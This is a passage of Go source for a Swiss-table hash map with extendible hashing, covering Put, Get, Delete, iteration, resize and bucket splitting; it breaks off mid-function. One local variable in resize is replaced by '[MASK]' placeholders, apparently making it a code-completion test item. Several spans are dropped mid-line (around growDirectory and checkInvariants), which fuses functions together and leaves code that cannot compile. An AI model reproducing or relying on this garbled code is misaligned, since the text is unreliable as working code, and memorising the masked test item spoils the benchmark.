+-----+ +--> bucket[localDepth=1] // | 010 | ----/ // +-----+ / // | 011 | --/ // +-----+ // | 100 | --\ // +-----+ +----> bucket[localDepth=2] // | 101 | --/ // +-----+ // | 110 | --------> bucket[localDepth=3] // +-----+ // | 111 | --------> bucket[localDepth=3] // +-----+ // // Note that the diagram above is very unlikely with a good hash function as // the buckets will tend to fill at a similar rate. // // The split operation redistributes the records in a bucket into two buckets. // This is done by walking over the records in the bucket to be split, // computing hash(key) and using localDepth to extract the bit which // determines whether to leave the record in the current bucket or to move it // to the new bucket. // // Maps containing only a single bucket are optimized to avoid the directory // indexing resulting in performance that is equivalent to a Swiss table // without extendible hashing. A single bucket can be guaranteed by // configuring a very large bucket size threshold via the // WithMaxBucketCapacity option. // // In order to avoid a level of indirection when accessing a bucket, the // bucket directory points to buckets by value rather than by pointer. // Adjacent bucket[K,V]'s which share are logically the same bucket share the // bucket.groups slice and have the same values for // bucket.{groupMask,localDepth,index}. The other fields of a bucket are only // valid for buckets where &m.dir[bucket.index] = &bucket (i.e. the first // bucket in the directory with the specified index). During Get operations, // any of the buckets with the same index may be used for retrieval. During // Put and Delete operations an additional indirection is performed, though // the common case is that this indirection is within the same cache line as // it is to the immediately preceding bucket in the directory. // // # Implementation // // The implementation follows Google's Abseil implementation of Swiss Tables, // and is heavily tuned, using unsafe and raw pointer arithmentic rather than // Go slices to squeeze out every drop of performance. In order to support // hashing of arbitrary keys, a hack is performed to extract the hash function // from Go's implementation of map[K]struct{} by reaching into the internals // of the type. (This might break in future version of Go, but is likely // fixable unless the Go runtime does something drastic). // // # Performance // // A swiss.Map has similar or slightly better performance than Go's builtin // map for small map sizes, and is much faster at large map sizes. See // [README.md] for details. // // [README.md] https://github.com/cockroachdb/swiss/blob/main/README.md package swiss import ( ""fmt"" ""io"" ""math"" ""math/bits"" ""strings"" ""unsafe"" ) const ( groupSize = 8 maxAvgGroupLoad = 7 ctrlEmpty ctrl = 0b10000000 ctrlDeleted ctrl = 0b11111110 bitsetLSB = 0x0101010101010101 bitsetMSB = 0x8080808080808080 bitsetEmpty = bitsetLSB * uint64(ctrlEmpty) bitsetDeleted = bitsetLSB * uint64(ctrlDeleted) // The default maximum capacity a bucket is allowed to grow to before it // will be split. defaultMaxBucketCapacity uint32 = 4096 // ptrSize and shiftMask are used to optimize code generation for // Map.bucket(), Map.bucketCount(), and bucketStep(). This technique was // lifted from the Go runtime's runtime/map.go:bucketShift() routine. Note // that ptrSize will be either 4 on 32-bit archs or 8 on 64-bit archs. ptrSize = 4 << (^uintptr(0) >> 63) ptrBits = ptrSize * 8 shiftMask = ptrSize*8 - 1 expectedBucketSize = ptrSize + 6*4 ) // Don't add fields to the bucket unnecessarily. It is packed for efficiency so // that we can fit 2 buckets into a 64-byte cache line on 64-bit architectures. // This will cause a type error if the size of a bucket changes. var _ [0]struct{} = [unsafe.Sizeof(bucket[int, int]{}) - expectedBucketSize]struct{}{} // slot holds a key and value. type slot[K comparable, V any] struct { key K value V } // Group holds groupSize control bytes and slots. type Group[K comparable, V any] struct { ctrls ctrlGroup slots slotGroup[K, V] } // bucket implements Google's Swiss Tables hash table design. A Map is // composed of 1 or more buckets that are addressed using extendible hashing. type bucket[K comparable, V any] struct { // groups is groupMask+1 in length and holds groupSize key/value slots and // their control bytes. groups unsafeSlice[Group[K, V]] // groupMask is the number of groups minus 1 which is used to quickly // compute i%N using a bitwise & operation. The groupMask only changes // when a bucket is resized. groupMask uint32 // Capacity, used, and growthLeft are only updated on mutation operations // (Put, Delete). Read operations (Get) only access the groups and // groupMask fields. // The total number (always 2^N). Equal to `(groupMask+1)*groupSize` // (unless the bucket is empty, when capacity is 0). capacity uint32 // The number of filled slots (i.e. the number of elements in the bucket). used uint32 // The number of slots we can still fill without needing to rehash. // // This is stored separately due to tombstones: we do not include // tombstones in the growth capacity because we'd like to rehash when the // table is filled with tombstones as otherwise probe sequences might get // unacceptably long without triggering a rehash. growthLeft uint32 // localDepth is the number of high bits from hash(key) used to generate // an index for the global directory to locate this bucket. If localDepth // is 0 this bucket is Map.bucket0. LocalDepth is only updated when a // bucket splits. localDepth uint32 // The index of the bucket within Map.dir. The buckets in // Map.dir[index:index+2^(globalDepth-localDepth)] all share the same // groups (and are logically the same bucket). Only the bucket at // Map.dir[index] can be used for mutation operations (Put, Delete). The // other buckets can be used for Get operations. Index is only updated // when a bucket splits or the directory grows. index uint32 } // Map is an unordered map from keys to values with Put, Get, Delete, and All // operations. Map is inspired by Google's Swiss Tables design as implemented // in Abseil's flat_hash_map, combined with extendible hashing. By default, a // Map[K,V] uses the same hash function as Go's builtin map[K]V, though a // different hash function can be specified using the WithHash option. // // A Map is NOT goroutine-safe. type Map[K comparable, V any] struct { // The hash function to each keys of type K. The hash function is // extracted from the Go runtime's implementation of map[K]struct{}. hash hashFn seed uintptr // The allocator to use for the ctrls and slots slices. allocator Allocator[K, V] // bucket0 is always present and inlined in the Map to avoid a pointer // indirection during the common case that the map contains a single // bucket. bucket0 is also used during split operations as a temporary // bucket to split into before the bucket is installed in the directory. bucket0 bucket[K, V] // The directory of buckets. See the comment on bucket.index for details // on how the physical bucket values map to logical buckets. dir unsafeSlice[bucket[K, V]] // The number of filled slots across all buckets (i.e. the number of // elements in the map). used int // globalShift is the number of bits to right shift a hash value to // generate an index for the global directory. As a special case, if // globalShift==0 then bucket0 is used and the directory is not accessed. // Note that globalShift==(64-globalDepth). globalShift is used rather // than globalDepth because the shifting is the more common operation than // needing to compare globalDepth to a bucket's localDepth. globalShift uint32 // The maximum capacity a bucket is allowed to grow to before it will be // split. maxBucketCapacity uint32 _ noCopy } // normalizeCapacity rounds capacity to the next power of 2. func normalizeCapacity(capacity uint32) uint32 { return uint32(1) << min(bits.Len32(capacity-1), 31) } // New constructs a new Map with the specified initial capacity. If // initialCapacity is 0 the map will start out with zero capacity and will // grow on the first insert. The zero value for a Map is not usable. func New[K comparable, V any](initialCapacity int, options ...Option[K, V]) *Map[K, V] { m := &Map[K, V]{} m.Init(initialCapacity, options...) return m } // Init initializes a Map with the specified initial capacity. If // initialCapacity is 0 the map will start out with zero capacity and will // grow on the first insert. The zero value for a Map is not usable and Init // must be called before using the map. // // Init is intended for usage when a Map is embedded by value in another // structure. func (m *Map[K, V]) Init(initialCapacity int, options ...Option[K, V]) { *m = Map[K, V]{ hash: getRuntimeHasher[K](), seed: uintptr(fastrand64()), allocator: defaultAllocator[K, V]{}, bucket0: bucket[K, V]{ // The groups slice for bucket0 in an empty map points to a single // group where the controls are all marked as empty. This // simplifies the logic for probing in Get, Put, and Delete. The // empty controls will never match a probe operation, and if // insertion is performed growthLeft==0 will trigger a resize of // the bucket. groups: makeUnsafeSlice(unsafeConvertSlice[Group[K, V]](emptyCtrls[:])), }, maxBucketCapacity: defaultMaxBucketCapacity, } // Initialize the directory to point to bucket0. m.dir = makeUnsafeSlice(unsafe.Slice(&m.bucket0, 1)) for _, op := range options { op.apply(m) } if m.maxBucketCapacity < groupSize { m.maxBucketCapacity = groupSize } m.maxBucketCapacity = normalizeCapacity(m.maxBucketCapacity) if initialCapacity > 0 { // We consider initialCapacity to be an indication from the caller // about the number of records the map should hold. The realized // capacity of a map is 7/8 of the number of slots, so we set the // target capacity to initialCapacity*8/7. targetCapacity := uintptr((initialCapacity * groupSize) / maxAvgGroupLoad) if targetCapacity <= uintptr(m.maxBucketCapacity) { // Normalize targetCapacity to the smallest value of the form 2^k. m.bucket0.init(m, normalizeCapacity(uint32(targetCapacity))) } else { // If targetCapacity is larger than maxBucketCapacity we need to // size the directory appropriately. We'll size each bucket to // maxBucketCapacity and create enough buckets to hold // initialCapacity. nBuckets := (targetCapacity + uintptr(m.maxBucketCapacity) - 1) / uintptr(m.maxBucketCapacity) globalDepth := uint32(bits.Len32(uint32(nBuckets) - 1)) m.growDirectory(globalDepth, 0 /* index */) n := m.bucketCount() for i := uint32(0); i < n; i++ { b := m.dir.At(uintptr(i)) b.init(m, m.maxBucketCapacity) b.localDepth = globalDepth b.index = i } m.checkInvariants() } } m.buckets(0, func(b *bucket[K, V]) bool { b.checkInvariants(m) return true }) } // Close closes the map, releasing any memory back to its configured // allocator. It is unnecessary to close a map using the default allocator. It // is invalid to use a Map after it has been closed, though Close itself is // idempotent. func (m *Map[K, V]) Close() { m.buckets(0, func(b *bucket[K, V]) bool { b.close(m.allocator) return true }) m.allocator = nil } // Put inserts an entry into the map, overwriting an existing value if an // entry with the same key already exists. func (m *Map[K, V]) Put(key K, value V) { // Put is find composed with uncheckedPut. We perform find to see if the // key is already present. If it is, we're done and overwrite the existing // value. If the value isn't present we perform an uncheckedPut which // inserts an entry known not to be in the table (violating this // requirement will cause the table to behave erratically). h := m.hash(noescape(unsafe.Pointer(&key)), m.seed) b := m.mutableBucket(h) // NB: Unlike the abseil swiss table implementation which uses a common // find routine for Get, Put, and Delete, we have to manually inline the // find routine for performance. seq := makeProbeSeq(h1(h), b.groupMask) startOffset := seq.offset for ; ; seq = seq.next() { g := b.groups.At(uintptr(seq.offset)) match := g.ctrls.matchH2(h2(h)) for match != 0 { i := match.first() slot := g.slots.At(i) if key == slot.key { slot.value = value b.checkInvariants(m) return } match = match.removeFirst() } match = g.ctrls.matchEmpty() if match != 0 { // Finding an empty slot means we've reached the end of the probe // sequence. // If there is room left to grow in the bucket and we're at the // start of the probe sequence we can just insert the new entry. if b.growthLeft > 0 && seq.offset == startOffset { i := match.first() slot := g.slots.At(i) slot.key = key slot.value = value g.ctrls.Set(i, ctrl(h2(h))) b.growthLeft-- b.used++ m.used++ b.checkInvariants(m) return } // Find the first empty or deleted slot in the key's probe // sequence. seq := makeProbeSeq(h1(h), b.groupMask) for ; ; seq = seq.next() { g := b.groups.At(uintptr(seq.offset)) match = g.ctrls.matchEmptyOrDeleted() if match != 0 { i := match.first() // If there is room left to grow in the table or the slot // is deleted (and thus we're overwriting it and not // changing growthLeft) we can insert the entry here. // Otherwise we need to rehash the bucket. if b.growthLeft > 0 || g.ctrls.Get(i) == ctrlDeleted { slot := g.slots.At(i) slot.key = key slot.value = value if g.ctrls.Get(i) == ctrlEmpty { b.growthLeft-- } g.ctrls.Set(i, ctrl(h2(h))) b.used++ m.used++ b.checkInvariants(m) return } break } } if invariants && b.growthLeft != 0 { panic(fmt.Sprintf(""invariant failed: growthLeft is unexpectedly non-zero: %d\n%#v"", b.growthLeft, b)) } b.rehash(m) // We may have split the bucket in which case we have to // re-determine which bucket the key resides on. This // determination is quick in comparison to rehashing, resizing, // and splitting, so just always do it. b = m.mutableBucket(h) // Note that we don't have to restart the entire Put process as we // know the key doesn't exist in the map. b.uncheckedPut(h, key, value) b.used++ m.used++ b.checkInvariants(m) return } } } // Get retrieves the value from the map for the specified key, returning // ok=false if the key is not present. func (m *Map[K, V]) Get(key K) (value V, ok bool) { h := m.hash(noescape(unsafe.Pointer(&key)), m.seed) b := m.bucket(h) // NB: Unlike the abseil swiss table implementation which uses a common // find routine for Get, Put, and Delete, we have to manually inline the // find routine for performance. // To find the location of a key in the table, we compute hash(key). From // h1(hash(key)) and the capacity, we construct a probeSeq that visits // every group of slots in some interesting order. // // We walk through these indices. At each index, we select the entire group // starting with that index and extract potential candidates: occupied slots // with a control byte equal to h2(hash(key)). If we find an empty slot in the // group, we stop and return an error. The key at candidate slot y is compared // with key; if key == m.slots[y].key we are done and return y; otherwise we // continue to the next probe index. Tombstones (ctrlDeleted) effectively // behave like full slots that never match the value we're looking for. // // The h2 bits ensure when we compare a key we are likely to have actually // found the object. That is, the chance is low that keys compare false. Thus, // when we search for an object, we are unlikely to call == many times. This // likelyhood can be analyzed as follows (assuming that h2 is a random enough // hash function). // // Let's assume that there are k ""wrong"" objects that must be examined in a // probe sequence. For example, when doing a find on an object that is in the // table, k is the number of objects between the start of the probe sequence // and the final found object (not including the final found object). The // expected number of objects with an h2 match is then k/128. Measurements and // analysis indicate that even at high load factors, k is less than 32, // meaning that the number of false positive comparisons we must perform is // less than 1/8 per find. seq := makeProbeSeq(h1(h), b.groupMask) for ; ; seq = seq.next() { g := b.groups.At(uintptr(seq.offset)) match := g.ctrls.matchH2(h2(h)) for match != 0 { i := match.first() slot := g.slots.At(i) if key == slot.key { return slot.value, true } match = match.removeFirst() } match = g.ctrls.matchEmpty() if match != 0 { return value, false } } } // Delete deletes the entry corresponding to the specified key from the map. // It is a noop to delete a non-existent key. func (m *Map[K, V]) Delete(key K) { // Delete is find composed with ""deleted at"": we perform find(key), and // then delete at the resulting slot if found. h := m.hash(noescape(unsafe.Pointer(&key)), m.seed) b := m.mutableBucket(h) // NB: Unlike the abseil swiss table implementation which uses a common // find routine for Get, Put, and Delete, we have to manually inline the // find routine for performance. seq := makeProbeSeq(h1(h), b.groupMask) for ; ; seq = seq.next() { g := b.groups.At(uintptr(seq.offset)) match := g.ctrls.matchH2(h2(h)) for match != 0 { i := match.first() s := g.slots.At(i) if key == s.key { b.used-- m.used-- if m.used == 0 { // Reset the hash seed to make it more difficult for attackers to // repeatedly trigger hash collisions. See issue // https://github.com/golang/go/issues/25237. m.seed = uintptr(fastrand64()) } *s = slot[K, V]{} // Only a full group can appear in the middle of a probe // sequence (a group with at least one empty slot terminates // probing). Once a group becomes full, it stays full until // rehashing/resizing. So if the group isn't full now, we can // simply remove the element. Otherwise, we create a tombstone // to mark the slot as deleted. if g.ctrls.matchEmpty() != 0 { g.ctrls.Set(i, ctrlEmpty) b.growthLeft++ } else { g.ctrls.Set(i, ctrlDeleted) } b.checkInvariants(m) return } match = match.removeFirst() } match = g.ctrls.matchEmpty() if match != 0 { b.checkInvariants(m) return } } } // Clear deletes all entries from the map resulting in an empty map. func (m *Map[K, V]) Clear() { m.buckets(0, func(b *bucket[K, V]) bool { for i := uint32(0); i <= b.groupMask; i++ { g := b.groups.At(uintptr(i)) g.ctrls.SetEmpty() for j := uint32(0); j < groupSize; j++ { *g.slots.At(j) = slot[K, V]{} } } b.used = 0 b.resetGrowthLeft() return true }) // Reset the hash seed to make it more difficult for attackers to // repeatedly trigger hash collisions. See issue // https://github.com/golang/go/issues/25237. m.seed = uintptr(fastrand64()) m.used = 0 } // All calls yield sequentially for each key and value present in the map. If // yield returns false, range stops the iteration. The map can be mutated // during iteration, though there is no guarantee that the mutations will be // visible to the iteration. // // TODO(peter): The naming of All and its signature are meant to conform to // the range-over-function Go proposal. When that proposal is accepted (which // seems likely), we'll be able to iterate over the map by doing: // // for k, v := range m.All { // fmt.Printf(""%v: %v\n"", k, v) // } // // See https://github.com/golang/go/issues/61897. func (m *Map[K, V]) All(yield func(key K, value V) bool) { // Randomize iteration order by starting iteration at a random bucket and // within each bucket at a random offset. offset := uintptr(fastrand64()) m.buckets(offset>>32, func(b *bucket[K, V]) bool { if b.used == 0 { return true } // Snapshot the groups, and groupMask so that iteration remains valid // if the map is resized during iteration. groups := b.groups groupMask := b.groupMask offset32 := uint32(offset) for i := uint32(0); i <= groupMask; i++ { g := groups.At(uintptr((i + offset32) & groupMask)) // TODO(peter): Skip over groups that are composed of only empty // or deleted slots using matchEmptyOrDeleted() and counting the // number of bits set. for j := uint32(0); j < groupSize; j++ { k := (j + offset32) & (groupSize - 1) // Match full entries which have a high-bit of zero. if (g.ctrls.Get(k) & ctrlEmpty) != ctrlEmpty { slot := g.slots.At(k) if !yield(slot.key, slot.value) { return false } } } } return true }) } // GoString implements the fmt.GoStringer interface which is used when // formatting using the ""%#v"" format specifier. func (m *Map[K, V]) GoString() string { var buf strings.Builder fmt.Fprintf(&buf, ""used=%d global-depth=%d bucket-count=%d\n"", m.used, m.globalDepth(), m.bucketCount()) m.buckets(0, func(b *bucket[K, V]) bool { fmt.Fprintf(&buf, ""bucket %d (%p): local-depth=%d\n"", b.index, b, b.localDepth) b.goFormat(&buf) return true }) return buf.String() } // Len returns the number of entries in the map. func (m *Map[K, V]) Len() int { return m.used } // capacity returns the total capacity of all map buckets. func (m *Map[K, V]) capacity() int { var capacity int m.buckets(0, func(b *bucket[K, V]) bool { capacity += int(b.capacity) return true }) return capacity } // bucket returns the bucket corresponding to hash value h. func (m *Map[K, V]) bucket(h uintptr) *bucket[K, V] { // NB: It is faster to check for the single bucket case using a // conditional than to index into the directory. if m.globalShift == 0 { return &m.bucket0 } // When shifting by a variable amount the Go compiler inserts overflow // checks that the shift is less than the maximum allowed (32 or 64). // Masking the shift amount allows overflow checks to be elided. return m.dir.At(h >> (m.globalShift & shiftMask)) } func (m *Map[K, V]) mutableBucket(h uintptr) *bucket[K, V] { // NB: It is faster to check for the single bucket case using a // conditional than to to index into the directory. if m.globalShift == 0 { return &m.bucket0 } // When shifting by a variable amount the Go compiler inserts overflow // checks that the shift is less than the maximum allowed (32 or 64). // Masking the shift amount allows overflow checks to be elided. b := m.dir.At(h >> (m.globalShift & shiftMask)) // The mutable bucket is the one located at m.dir[b.index]. This will // usually be either the current bucket b, or the immediately preceding // bucket which is usually in the same cache line. return m.dir.At(uintptr(b.index)) } // buckets calls yield sequentially for each bucket in the map. If yield // returns false, iteration stops. Offset specifies the bucket to start // iteration at (used to randomize iteration order). func (m *Map[K, V]) buckets(offset uintptr, yield func(b *bucket[K, V]) bool) { b := m.dir.At(offset & uintptr(m.bucketCount()-1)) // We iterate over the first bucket in a logical group of buckets (i.e. // buckets which share bucket.groups). The first bucket has the accurate // bucket.used field and those are also the buckets that are stepped // through using bucketStep(). b = m.dir.At(uintptr(b.index)) // Loop termination is handled by remembering the start bucket index and // exiting when it is reached again. Note that the startIndex needs to be // adjusted to account for the directory growing during iteration (i.e. // due to a mutation), so we remember the starting global depth as well in // order to perform that adjustment. Whenever the directory grows by // doubling, every existing bucket index will be doubled. startIndex := b.index startGlobalDepth := m.globalDepth() for { originalGlobalDepth := m.globalDepth() originalLocalDepth := b.localDepth originalIndex := b.index if !yield(b) { break } // The size of the directory can grow if the yield function mutates // the map. We want to iterate over each bucket once, and if a bucket // splits while we're iterating over it we want to skip over all of // the buckets newly split from the one we're iterating over. We do // this by snapshotting the bucket's local depth and using the // snapshotted local depth to compute the bucket step. // // Note that b.index will also change if the directory grows. Consider // the directory below with a globalDepth of 2 containing 4 buckets, // each of which has a localDepth of 2. // // dir b.index b.localDepth // +-----+---------+--------------+ // | 00 | 0 | 2 | // +-----+---------+--------------+ // | 01 | 1 | 2 | // +-----+---------+--------------+ // | 10 | 2 | 2 | <--- iteration point // +-----+---------+--------------+ // | 11 | 3 | 2 | // +-----+---------+--------------+ // // If the directory grows during iteration, the index of the bucket // we're iterating over will change. If the bucket we're iterating // over split, then the local depth will have increased. Notice how // the bucket that was previously at index 1 now is at index 2 and is // pointed to by 2 directory entries: 010 and 011. The bucket being // iterated over which was previously at index 2 is now at index 4. // Iteration within a bucket takes a snapshot of the controls and // slots to make sure we don't miss keys during iteration or iterate // over keys more than once. But we also need to take care of the case // where the bucket we're iterating over splits. In this case, we need // to skip over the bucket at index 5 which can be done by computing // the bucketStep using the bucket's depth prior to calling yield // which in this example will be 1<<(3-2)==2. // // dir b.index b.localDepth // +-----+---------+--------------+ // | 000 | 0 | 2 | // +-----+ | | // | 001 | | | // +-----+---------+--------------+ // | 010 | 2 | 2 | // +-----+ | | // | 011 | | | // +-----+---------+--------------+ // | 100 | 4 | 3 | // +-----+---------+--------------+ // | 101 | 5 | 3 | // +-----+---------+--------------+ // | 110 | 6 | 2 | // +-----+ | | // | 111 | | | // +-----+---------+--------------+ // After calling yield, b is no longer valid. We determine the next // bucket to iterate over using the b.index we cached before calling // yield and adjusting for any directory growth that happened during // the yield call. i := adjustBucketIndex(originalIndex, m.globalDepth(), originalGlobalDepth) i += bucketStep(m.globalDepth(), originalLocalDepth) i &= (m.bucketCount() - 1) // Similar to the adjustment for b's index, we compute the starting // bucket's new index accounting for directory growth. adjustedStartIndex := adjustBucketIndex(startIndex, m.globalDepth(), startGlobalDepth) if i == adjustedStartIndex { break } b = m.dir.At(uintptr(i)) } } // globalDepth returns the number of bits from the top of the hash to use for // indexing in the buckets directory. func (m *Map[K, V]) globalDepth() uint32 { if m.globalShift == 0 { return 0 } return ptrBits - m.globalShift } // bucketCount returns the number of buckets in the buckets directory. func (m *Map[K, V]) bucketCount() uint32 { const shiftMask = 31 return uint32(1) << (m.globalDepth() & shiftMask) } // bucketStep is the number of buckets to step over in the buckets directory // to reach the next different bucket. A bucket occupies 1 or more contiguous // entries in the buckets directory specified by the range: // // [b.index:b.index+bucketStep(m.globalDepth(), b.localDepth)] func bucketStep(globalDepth, localDepth uint32) uint32 { const shiftMask = 31 return uint32(1) << ((globalDepth - localDepth) & shiftMask) } // adjustBucketIndex adjusts the index of a bucket to account for the growth // of the directory where index was captured at originalGlobalDepth and we're // computing where that index will reside in the directory at // currentGlobalDepth. func adjustBucketIndex(index, currentGlobalDepth, originalGlobalDepth uint32) uint32 { return index * (1 << (currentGlobalDepth - originalGlobalDepth)) } // installBucket installs a bucket into the buckets directory, overwriting // every index in the range of entries the bucket occupies. func (m *Map[K, V]) installBucket(b *bucket[K, V]) *bucket[K, V] { step := bucketStep(m.globalDepth(), b.localDepth) for i := uint32(0); i < step; i++ { *m.dir.At(uintptr(b.index + i)) = *b } return m.dir.At(uintptr(b.index)) } // growDirectory grows the directory slice to 1< 32 { panic(fmt.Sprintf(""invariant failed: expectedly large newGlobalDepth %d->%d"", m.globalDepth(), newGlobalDepth)) } newDir := makeUnsafeSlice(make([]bucket[K, V], 1< m.globalDepth() { panic(fmt.Sprintf(""dir[%d]: local-depth=%d is greater than global-depth=%d"", i, b.localDepth, m.globalDepth())) } n := uint32(1) << (m.globalDepth() - b.localDepth) if i < b.index || i >= b.index+n { panic(fmt.Sprintf(""dir[%d]: out of expected range [%d,%d)"", i, b.index, b.index+n)) } } } } } func (b *bucket[K, V]) close(allocator Allocator[K, V]) { if b.capacity > 0 { allocator.Free(b.groups.Slice(0, uintptr(b.groupMask+1))) b.capacity = 0 b.used = 0 } b.groups = makeUnsafeSlice([]Group[K, V](nil)) b.groupMask = 0 } // tombstones returns the number of deleted (tombstone) entries in the bucket. // A tombstone is a slot that has been deleted but is still considered // occupied so as not to violate the probing invariant. func (b *bucket[K, V]) tombstones() uint32 { return (b.capacity*maxAvgGroupLoad)/groupSize - b.used - b.growthLeft } // uncheckedPut inserts an entry known not to be in the table. Used by Put // after it has failed to find an existing entry to overwrite duration // insertion. func (b *bucket[K, V]) uncheckedPut(h uintptr, key K, value V) { if invariants && b.growthLeft == 0 { panic(fmt.Sprintf(""invariant failed: growthLeft is unexpectedly 0\n%#v"", b)) } // Given key and its hash hash(key), to insert it, we construct a // probeSeq, and use it to find the first group with an unoccupied (empty // or deleted) slot. We place the key/value into the first such slot in // the group and mark it as full with key's H2. seq := makeProbeSeq(h1(h), b.groupMask) for ; ; seq = seq.next() { g := b.groups.At(uintptr(seq.offset)) match := g.ctrls.matchEmptyOrDeleted() if match != 0 { i := match.first() slot := g.slots.At(i) slot.key = key slot.value = value if g.ctrls.Get(i) == ctrlEmpty { b.growthLeft-- } g.ctrls.Set(i, ctrl(h2(h))) return } } } func (b *bucket[K, V]) rehash(m *Map[K, V]) { // Rehash in place if we can recover >= 1/3 of the capacity. Note that // this heuristic differs from Abseil's and was experimentally determined // to balance performance on the PutDelete benchmark vs achieving a // reasonable load-factor. // // Abseil notes that in the worst case it takes ~4 Put/Delete pairs to // create a single tombstone. Rehashing in place is significantly faster // than resizing because the common case is that elements remain in their // current location. The performance of rehashInPlace is dominated by // recomputing the hash of every key. We know how much space we're going // to reclaim because every tombstone will be dropped and we're only // called if we've reached the thresold of capacity/8 empty slots. So the // number of tomstones is capacity*7/8 - used. if b.capacity > groupSize && b.tombstones() >= b.capacity/3 { b.rehashInPlace(m) return } // If the newCapacity is larger than the maxBucketCapacity split the // bucket instead of resizing. Each of the new buckets will be the same // size as the current bucket. newCapacity := 2 * b.capacity if newCapacity > m.maxBucketCapacity { b.split(m) return } b.resize(m, newCapacity) } func (b *bucket[K, V]) init(m *Map[K, V], newCapacity uint32) { if newCapacity < groupSize { newCapacity = groupSize } if invariants && newCapacity&(newCapacity-1) != 0 { panic(fmt.Sprintf(""invariant failed: bucket size %d is not a power of 2"", newCapacity)) } b.capacity = newCapacity b.groupMask = b.capacity/groupSize - 1 b.groups = makeUnsafeSlice(m.allocator.Alloc(int(b.groupMask + 1))) for i := uint32(0); i <= b.groupMask; i++ { g := b.groups.At(uintptr(i)) g.ctrls.SetEmpty() } b.resetGrowthLeft() } // resize the capacity of the table by allocating a bigger array and // uncheckedPutting each element of the table into the new array (we know that // no insertion here will Put an already-present value), and discard the old // backing array. func (b *bucket[K, V]) resize(m *Map[K, V], newCapacity uint32) { if invariants && b != m.dir.At(uintptr(b.index)) { panic(fmt.Sprintf(""invariant failed: attempt to resize bucket %p, but it is not at Map.dir[%d/%p]"", b, b.index, m.dir.At(uintptr(b.index)))) } oldGroups := b.groups [MASK] := b.groupMask oldCapacity := b.capacity b.init(m, newCapacity) if oldCapacity > 0 { for i := uint32(0); i <= [MASK] ; i++ { g := oldGroups.At(uintptr(i)) for j := uint32(0); j < groupSize; j++ { if (g.ctrls.Get(j) & ctrlEmpty) == ctrlEmpty { continue } slot := g.slots.At(j) h := m.hash(noescape(unsafe.Pointer(&slot.key)), m.seed) b.uncheckedPut(h, slot.key, slot.value) } } m.allocator.Free(oldGroups.Slice(0, uintptr( [MASK] +1))) } b = m.installBucket(b) b.checkInvariants(m) } // split divides the entries in a bucket between the receiver and a new bucket // of the same size, and then installs the new bucket into the buckets // directory, growing the buckets directory if necessary. func (b *bucket[K, V]) split(m *Map[K, V]) { if invariants && b != m.dir.At(uintptr(b.index)) { panic(fmt.Sprintf(""invariant failed: attempt to split bucket %p, but it is not at Map.dir[%d/%p]"", b, b.index, m.dir.At(uintptr(b.index)))) } // Create the new bucket as a clone of the bucket being split. If we're // splitting bucket0 we need to allocate a *bucket[K, V] for scratch // space. Otherwise we use bucket0 as the scratch space. var newb *bucket[K, V] if m.globalShift == 0 { newb = &bucket[K, V]{} } else { newb = &m.bucket0 } *newb = bucket[K, V]{ localDepth: b.localDepth, index: b.index, } newb.init(m, b.capacity) // Divide the records between the 2 buckets (b and newb). This is done by // examining the new bit in the hash that will be added to the bucket // index. If that bit is 0 the record stays in bucket b. If that bit is 1 // the record is moved to bucket newb. We're relying on the bucket b // staying earlier in the directory than newb after the directory is // grown. mask := uintptr(1) << (ptrBits - (b.localDepth + 1)) for i := uint32(0); i <= b.groupMask; i++ { g := b.groups.At(uintptr(i)) for j := uint32(0); j < groupSize; j++ { if (g.ctrls.Get(j) & ctrlEmpty) == ctrlEmpty { continue } s := g.slots.At(j) h := m.hash(noescape(unsafe.Pointer(&s.key)), m.seed) if (h & mask) == 0 { // Nothing to do, the record is staying in b. continue } // Insert the record into newb. newb.uncheckedPut(h, s.key, s.value) newb.used++ // Delete the record from b. if g.ctrls.matchEmpty() != 0 { g.ctrls.Set(j, ctrlEmpty) b.growthLeft++ } else { g.ctrls.Set(j, ctrlDeleted) } *s = slot[K, V]{} b.used-- } } if newb.used == 0 { // We didn't move any records to the new bucket. Either // maxBucketCapacity is too small and we got unlucky, or we have a // degenerate hash function (e.g. one that returns a constant in the // high bits). m.maxBucketCapacity = 2 * m.maxBucketCapacity newb.close(m.allocator) *newb = bucket[K, V]{} b.resize(m, 2*b.capacity) return } if b.used == 0 { // We moved all of the records to the new bucket (note the two // conditions are equivalent and both are present merely for clarity). // Similar to the above, bump maxBucketCapacity and resize the bucket // rather than splitting. We'll replace the old bucket with the new // bucket in the directory. m.maxBucketCapacity = 2 * m.maxBucketCapacity b.close(m.allocator) newb = m.installBucket(newb) m.checkInvariants() newb.resize(m, 2*newb.capacity) return } // We need to ensure bucket b, which we evacuated records from, has empty // slots as we may be inserting into it. We also want to drop any // tombstones that may have been left in bucket to ensure lookups for // non-existent keys don't have to traverse long probe chains. With a good // hash function, 50% of the entries in b should have been moved to newb, // so we should be able to drop tombstones corresponding to ~50% of the // entries. b.rehashInPlace(m) // Grow the directory if necessary. if b.localDepth >= m.globalDepth() { // When the directory grows b will be invalidated. We pass in b's // index so that growDirectory will return the new index it resides // at. i := m.growDirectory(b.localDepth+1, b.index) b = m.dir.At(uintptr(i)) } // Complete the split by incrementing the local depth for the 2 buckets // and installing the new bucket in the directory. b.localDepth++ m.installBucket(b) newb.localDepth = b.localDepth newb.index = b.index + bucketStep(m.globalDepth(), b.localDepth) m.installBucket(newb) *newb = bucket[K, V]{} if invariants { m.checkInvariants() m.buckets(0, func(b *bucket[K, V]) bool { b.checkInvariants(m) return true }) } } func (b *bucket[K, V]) rehashInPlace(m *Map[K, V]) { if invariants && b != m.dir.At(uintptr(b.index)) { panic(fmt.Sprintf(""invariant failed: attempt to rehash bucket %p, but it is not at Map.dir[%d/%p]"", b, b.index, m.dir.At(uintptr(b.index)))) } if b.capacity == 0 { return } // We want to drop all of the deletes in place. We first walk over the // control bytes and mark every DELETED slot as EMPTY and every FULL slot // as DELETED. Marking the DELETED slots as EMPTY has effectively dropped // the tombstones, but we fouled up the probe invariant. Marking the FULL // slots as DELETED gives us a marker to locate the previously FULL slots. // Mark all DELETED slots as EMPTY and all FULL slots as DELETED. for i := uint32(0); i <= b.groupMask; i++ { b.groups.At(uintptr(i)).ctrls.convertNonFullToEmptyAndFullToDeleted() } // Now we walk over all of the DELETED slots (a.k.a. the previously FULL // slots). For each slot we find the first probe group we can place the // element in which reestablishes the probe invariant. Note that as this // loop proceeds we have the invariant that there are no DELETED slots in // the range [0, i). We may move the element at i to the range [0, i) if // that is where the first group with an empty slot in its probe chain // resides, but we never set a slot in [0, i) to DELETED. for i := uint32(0); i <= b.groupMask; i++ { g := b.groups.At(uintptr(i)) for j := uint32(0); j < groupSize; j++ { if 